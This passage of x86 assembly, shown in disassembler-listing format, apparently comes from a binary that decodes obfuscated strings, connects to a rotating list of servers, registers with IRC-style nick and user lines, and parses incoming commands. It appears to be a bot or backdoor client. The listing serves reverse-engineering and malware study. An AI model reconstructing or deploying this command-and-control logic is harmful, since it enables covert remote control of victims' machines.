		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_40F53A:				; CODE XREF: ___:0040F505j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F561:				; CODE XREF: ___:0040F4D4j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F660	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F660	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F6D0	proc near		; CODE XREF: sub_40169Fj

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F6D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E88
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_40142E
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401753
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401753
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401753
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401753
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401753
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401753
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401753
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401753
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401753
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401753
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401753
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401753
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401753
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_40172B
		mov	dword ptr [edi], offset	off_43F034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_448F30
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43F028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015E1
		call	near ptr 27E0B37h
		nop
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017EE
		push	eax
		push	offset dword_4490BC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C4
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017EE
		push	eax
		push	offset dword_4490CC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017EE
		push	eax
		push	offset dword_4490DC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017EE
		push	eax
		push	offset dword_4490E0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017EE
		push	eax
		push	offset dword_4490E4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017EE
		push	eax
		push	offset dword_4490E8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017EE
		push	eax
		push	offset dword_4490EC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017EE
		push	eax
		push	offset dword_4490F0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017EE
		push	eax
		push	offset dword_4490F4
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017EE
		push	eax
		push	offset dword_4490F8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017EE
		push	eax
		push	offset dword_4490FC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017EE
		push	eax
		push	offset dword_449100
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F6D0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FE40	proc near		; CODE XREF: ___:004019D3j sub_401A4Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C5
sub_40FE40	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_40FE58
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40FE58:				; CODE XREF: ___:0040FE4Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FE70	proc near		; CODE XREF: sub_4013C5j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40FE70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F028
		mov	dword ptr [esi+11h], offset off_43F034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B68
sub_40FE70	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+10h], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+10h], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+10h], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+10h], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+10h], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+10h], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+10h], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+10h], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_410030	proc near		; CODE XREF: sub_402149j

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43A8D3
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_40142E
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_411400


loc_410072:				; CODE XREF: sub_410030+13CAj
		mov	al, byte_4E8E44
		mov	edi, dword_5118AC
		cmp	al, bl
		jz	loc_411400
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_41009A
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_4100A4
		cmp	eax, ebx
		jz	loc_4101DE


loc_41009A:				; CODE XREF: sub_410030+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_4101DE


loc_4100A4:				; CODE XREF: sub_410030+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_4100B9
		push	eax
		nop
		call	near ptr 71AB9639h


loc_4100B9:				; CODE XREF: sub_410030+80j
		mov	ecx, offset word_44AC5E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401541
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401983
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_4100E9
		mov	[ebp+20h], ebx


loc_4100E9:				; CODE XREF: sub_410030+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_4493ED
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACD6
		add	eax, 1B6h
		push	eax
		push	offset dword_4493A4
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACD6
		push	edx
		push	offset dword_449280
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_449312
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACD6
		add	eax, 0DBh
		push	eax
		push	offset byte_4492C9
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACD6
		add	edx, 92h
		push	edx
		push	offset byte_44935B
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_44947F
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		call	edi
		mov	[ebp+24h], eax


loc_4101DE:				; CODE XREF: sub_410030+64j
					; sub_410030+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_410208
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		nop
		call	near ptr 2830000h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410208:				; CODE XREF: sub_410030+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_410398
		mov	ax, word_44932C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, offset byte_4492C9
		mov	[esp+24h+arg_1E], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410288
		push	2710h
		nop
		call	near ptr 2830000h
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410288:				; CODE XREF: sub_410030+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5FADE9
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015E1
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		push	offset byte_448F30
		mov	ecx, offset byte_44935B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410357
		mov	ecx, offset byte_44935B
		call	sub_4017EE
		mov	edx, dword_4490DC
		push	eax
		push	edx
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h


loc_410357:				; CODE XREF: sub_410030+305j
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490E4
		push	eax
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		mov	ecx, dword_4490E0
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 1Ch
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410398:				; CODE XREF: sub_410030+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_4113F0
		call	near ptr 27E0B37h
		nop
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CD0
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A9B
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490E8
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410470
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset dword_4493A4
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410474


loc_410470:				; CODE XREF: sub_410030+3EAj
		mov	[esp+20h+var_D], bl


loc_410474:				; CODE XREF: sub_410030+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410496
		mov	byte ptr [ebp+16h], 1
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410496:				; CODE XREF: sub_410030+45Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490BC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_410534
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490D8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410662
; ---------------------------------------------------------------------------


loc_410534:				; CODE XREF: sub_410030+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, dword_4490C0
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	loc_4106A0
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4113F7
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490D8
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410667
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
